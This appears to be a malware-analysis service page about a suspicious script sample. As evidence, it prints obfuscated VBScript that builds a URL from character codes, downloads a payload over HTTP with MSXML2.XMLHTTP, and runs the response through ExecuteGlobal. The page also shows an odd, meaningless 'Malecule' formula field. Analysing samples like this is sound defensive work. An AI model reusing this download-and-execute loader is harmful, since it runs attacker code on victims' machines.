Suspicious 80% Download

d8aea7be5efe36eb90538c5f54a02f966e95bc6475c836d94795ae67f7ff15c7.unknown

Executes remote code via HTTP

ExecuteGlobal on variableExecuteGlobal evaluates VBScript text
SHA-256d8aea7be5efe36eb90538c5f54a02f966e95bc6475c836d94795ae67f7ff15c7
MaleculeO₂(XeC)H₂(Cm₃Po)

Evidence

Creates legacy ActiveX HTTP object lines 53–59
53:14… = 122
54 branqueta = carocar(immolando)
55 Function carocar(tanais)
56 carocar = Chr(tanais)
57 End Function
58 Set azafamadamente = CreateObject("MSXML2.XMLHTTP")
59 chinchilla = ""&longamente&""&tarimba&""&tarimba&""&polyarticular&""&cubeiro&"://"&polyarticular&""&copelha&""&cubeiro& …
ExecuteGlobal on variable lines 59–66
59:227… lo&""&copelha&""&copla&"/Q587V"&microstema&""&atreguar&"Q"
60 azafamadamente.open "GET", chinchilla, False
61 azafamadamente.send
62 estambreiro = azafamadamente.responseText
63 ExecuteGlobal estambreiro
64 Set azafamadamente = Nothing
65 </script>
66</job>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.